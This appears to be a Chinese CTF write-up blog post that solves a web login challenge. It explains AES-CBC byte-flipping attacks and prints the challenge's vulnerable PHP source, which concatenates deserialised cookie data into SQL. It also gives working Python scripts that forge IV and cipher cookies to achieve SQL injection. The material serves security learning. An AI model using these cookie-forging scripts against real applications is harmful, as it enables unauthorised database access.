开始刷ctf题吧  慢慢来。

实验吧---简单的登录题

题目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php

随便提交一个id,看到后台set了两个cookie

没发现什么 东西 扫下目录发现test.php  打开发现是源码

<?php
define("SECRET_KEY", '***********');//密钥key
define("METHOD", "aes-128-cbc");//使用AES算法128bit固定分组
error_reporting(0);
include('conn.php');
function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
        return 1;
    }
    return 0;
}
function get_random_iv(){//初始化向量IV
    $random_iv='';
    //随机生成16字节长度的IV
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);//将用户提交的信息进行序列化
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);//将变量$plain的值进行加密
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
     //设置cookie:iv、cipher并将其值进行base64编码
}
function show_homepage(){
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
                $rows=mysqli_fetch_array($result);
                echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
            }
            else{
                echo '<h1><center>Hello!</center></h1>';
            }
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
        die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>

代码我加了些注释,分析整个代码可以发现,通过post的id值由于被sqliCheck函数过滤了关键字无法在此处注入。另一处可注入的点在sql语句拼接的时候,在这里代码把解序列化后的数据直接拼接进sql语句中,如果可以控制此处的数据那么就可以造成注入。
那该如何控制这里的数据呢?可以发现,程序使用了aes-128-cbc的加密算法来加密和解密,而这种算法是存在字节反转攻击的,再配合程序在解序列化失败后返回解密后的明文,我们就可以控制密文来得到我们想要的任意明文,从而控制sql语句。

这里记录下关于cbc反转攻击

关于CBC字节反转攻击

CBC 工作模式

特殊名词

Plaintext:明文,待加密的数据。
IV :初始向量,用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文。
Key:对称密钥,由AES,Blowfish,DES,Triple DES等对称加密算法使用。
Ciphertext:密文数据。
固定分组:CBC在一个固定长度的位组上工作,称为块。这里使用每个16字节的块进行讲解。

加密流程:

1、文字流程

Main:上一组密文块用来产生下一组密文块。

1、首先将明文分组(常见的以16字节为一组),位数不足的使用特殊字符填充。
2、生成一个随机的初始化向量(IV)和一个密钥。
3、将IV和第一组明文异或产生初步密文,再用密钥对初步密文加密生成最终密文块。
4、用3中产生的密文块对第二组明文进行xor操作产生初步密文,再用密钥对初步密文加密生成最终密文块。
5、重复4,到最后一组明文。
6、将IV和加密后的每个密文块拼接在一起,得到最终的密文。

从第一块 Plaintext 开始,首先与一个初始向量iv异或(iv只在第一处起作用),然后把异或的结果经过key进行加密,得到第一块的密文,并且把加密的结果与下一块的明文进行异或,一直这样进行下去。
2、公式描述:

Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块
Ciphertext-N = Encrypt(Plaintext XOR Ciphertext-(N-1))—用于第二及剩下的组块  # N > 1

解密流程:

1、文字流程

Main:上一组密文块影响下一组密文块的还原。

1、从密文中提取出IV,然后将密文分组。
2、使用密钥对第一组的密文解密,然后和IV进行xor得到明文。
3、使用密钥对第二组密文解密,然后和2中的密文xor得到明文。
4、重复2-3,直到最后一组密文。

解密和加密的原理是一样的,都是

2、公式描述:

Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块
Plaintext-N = Decrypt(Ciphertext) XOR Ciphertext-(N-1)—用于第二及剩下的组块   # N > 1

CBC 攻击原理

Attack 原理

1、在 CBC 解密的公式中可以注意到Ciphertext-(N-1)用来产生下一块明文,这就是字节翻转攻击发挥作用的地方。如果我们改变Ciphertext-N-1中的一个字节,然后和下一块解密后的密文xor,就可以得到一个不同的明文,而这个明文是我们可以控制的。

2、在1中的基础上,通过破坏密文中的字节来改变明文中的字节,由此在破坏的密文中添加单引号等恶意字符来绕过过滤器,或通过将用户ID更改为admin来提升权限,或者更改应用程序所需的明文造成其他后果。

通过修改第一组的密文块字节,来构造自己想要的第二组明文块,当第一组密文块字节发生改变时会影响第一组明文块和第二组明文块。

这道题当cookies里有iv值和cipher值,然后不提交任何参数(包括id),就会显示Hello,猜测是根据传入的iv和cipher来解码后,再参与内部的sql查询出用户名

 若是post id,就先进行waf检测,检测过了才随机生成iv值,并且对array('id'=>$id)进行php的序列化操作,再进行aes加密,再分别对iv和cipher进行base64编码并设置到cookies
如果cookies里有iv和cipher,就对其base64解码,然后对其aes解密,再进行php反序列化,如果不能反序列化则返回解密后的明文的base64编码,如果可以则进行sql语句拼接,查询若是行数>0就显示其username列的值,否则都是Hello!

ok,明白了攻击原理 ,现在来构造

我们只需要修改前一组密文所对应的本组明文相同位置的字符,即可得到想要的明文。

比如我要把偏移量为13的字节进行反转 从N到n  如下

$newcipher[13]=chr(ord(13) ^ ord('N') ^ ord('n'))

ok  那现在来做题

当post id=12时候,显示

a:1:{s:2:"id";s:
2:"12";}

每一行16个字节,这里12的2对应上一行 { 的偏离量是4
有这个准备后,
在原题里post id=12,得到下面(这只是示例)

iv=ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D
cipher=U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D

这里放pcat大佬的脚本:

from base64 import *
import urllib
cipher='U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new

得到cipher_new
U9qq55BOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D
再用之前的iv一起去访问,得到
base64_decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9') can't unserialize
这是因为iv值没修改,导致无法反序列化

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
    iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

得到iv_new
hHlJ4xkEBvpldXUI0wqnNA%3D%3D
再跟之前的cipher_new,一起去访问,得到
Hello!rootzz
也就是id=12顺利变成了id=1#注入成功。

附上exp:

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
    iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

实验吧之【简单的登录题(】CBC字节反转攻击)的更多相关文章

  1. CBC 字节反转攻击

    一.CBC 简介 现代密码体制 现代密码中的加密体制一般分为对称加密体制(Symmetric Key Encryption)和非对称加密体制(Asymmetric Key Encryption).对称 ...

  2. session安全&&CBC字符反转攻击&&hash拓展攻击

    session安全 p神写的: 在传统PHP开发中,$_SESSION变量的内容默认会被保存在服务端的一个文件中,通过一个叫"PHPSESSID"的Cookie来区分用户.这类se ...

  3. Padding Oracle 和 CBC字节翻转攻击学习

    以前一直没时间来好好研究下这两种攻击方式,虽然都是很老的点了= =! 0x01:Padding oracle CBC加密模式为分组加密,初始时有初始向量,密钥,以及明文,明文与初始向量异或以后得到中间 ...

  4. CBC字节翻转攻击

    iscc2018线上赛开始两周多了,学到了很多,写几篇文章总结一下遇到的知识点,做一个归纳,方便以后查找. web300-----CBC字节翻转攻击 cbc是AES加密的cbc模式 即密码分组链模式: ...

  5. CBC翻转攻击(实验吧_简单的登陆题)

    题目链接 http://ctf5.shiyanbar.com/web/jiandan/index.php 有源码在test.php页面 分析代码过程 如果post id,将id转字符串,然后进入sql ...

  6. 一道简单的CTF登录题题解

    一.解题感受 这道题50分,在实验吧练习场算比较高分,而且通过率只有14%,比较低的水平. 看到这两个数据,一开始就心生惬意,实在不应该呀! 也是因为心态原因,在发现test.php之后,自以为在SQ ...

  7. CTF实验吧-WEB题目解题笔记(1)简单的登陆题

    1.简单的登陆题 解题链接: http://ctf5.shiyanbar.com/web/jiandan/index.php  Burp抓包解密 乱码,更换思路.尝试id intruder 似乎也没什 ...

  8. Xamarin.Android再体验之简单的登录Demo

    一.前言 在空闲之余,学学新东西 二.服务端的代码编写与部署 这里采取的方式是MVC+EF返回Json数据,(本来是想用Nancy来实现的,想想电脑太卡就不开多个虚拟机了,用用IIS部署也好) 主要是 ...

  9. 以最简单的登录为例,诠释JS面向对象的简单实例

    JavaScript,是前端开发人员必须会的一门技术,从JS演变出来的有很多框架,先说说几个热门的框架吧: JQuery:这个技术必须会,如果不会,那一定要会查api,知道怎么写,要看得懂英文文档,这 ...

随机推荐

  1. 疑难杂症----windows7

    这两天换了台win7的机器,每次开机发现时间日期没法更新,第一次手动更新后过了一天以后又恢复成20xx/01/01,头疼ing,网上找了好多办法,在这里记录一下,避免以后再碰到同样的问题. 出现这个问 ...

  2. 即时聊天APP(一)

    最新写了一个即时聊天的安卓Demo,是基于Bmob后端开发的app,由于Bmob有较大局限性,因此,我并没有按照开发文档来进行开发,只是简单写了一个基本的文字聊天,以后有时间我会自己写一个带服务端的即 ...

  3. ZooKeeper 介绍及集群环境搭建

    本篇由鄙人学习ZooKeeper亲自整理的一些资料 包括:ZooKeeper的介绍,我们要学习ZooKeeper的话,首先就要知道他是干嘛的对吧. 其次教大家如何去安装这个精巧的智慧品! 相信你能研究 ...

  4. [Linux] Linux中重命名文件和文件夹的方法(mv命令和rename命令)

    原文链接 在Linux下重命名文件或目录,可以使用mv命令或rename命令,这里分享下二者的使用方法. mv命令既可以重命名,又可以移动文件或文件夹. 例子:将目录A重命名为B mv A B 例子: ...

  5. Java图片处理:ico格式转 PNG/JPG等格式

    一. 什么是ico图标? ico是一种图标格式,大量应用于网站,各个软件的logo或图标展示. 我们在进入某个网站或网页,它们上方标题左侧各自都带有logo图标. 这就是favicon.ico图标,它 ...

  6. Windows认证 | Windows本地认证

    Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与SAM文件中的密码进行对比,如果相同,则认证成功. SAM文件是位于%SystemRoot ...

  7. Python人工智能第一篇:语音合成和语音识别

    Python人工智能第一篇:语音合成和语音识别 ​ 此篇是人工智能应用的重点,只用现成的技术不做底层算法,也是让初级程序员快速进入人工智能行业的捷径.目前市面上主流的AI技术提供公司有很多,比如百度, ...

  8. Ubuntu server16.04安装配置驱动418.87、cuda10.1、cudnn7.6.4.38、anaconda、pytorch超详细解决

    目录 安装GCC 安装NVIDIA驱动 1. 卸载原有驱动(没装跳过) 2. 禁用nouveau 3. 安装NVIDIA显卡驱动 安装CUDA10.1 安装cudnn 安装anaconda 安装ten ...

  9. Flask基础(07)-->正则自定义转换器

    正则自定义转换器 为什么要自定义正则转换器? 因为默认转换器太过于笨重,往往不能满足我们实际业务的需求,这时候我们就需要自定义正则转换器了. 那么我们怎么自定义正则转换器呢? from flask i ...

  10. .Net Core 商城微服务项目系列(一):使用IdentityServer4构建基础登录验证

    这里第一次搭建,所以IdentityServer端比较简单,后期再进行完善. 1.新建API项目MI.Service.Identity,NuGet引用IdentityServer4,添加类InMemo ...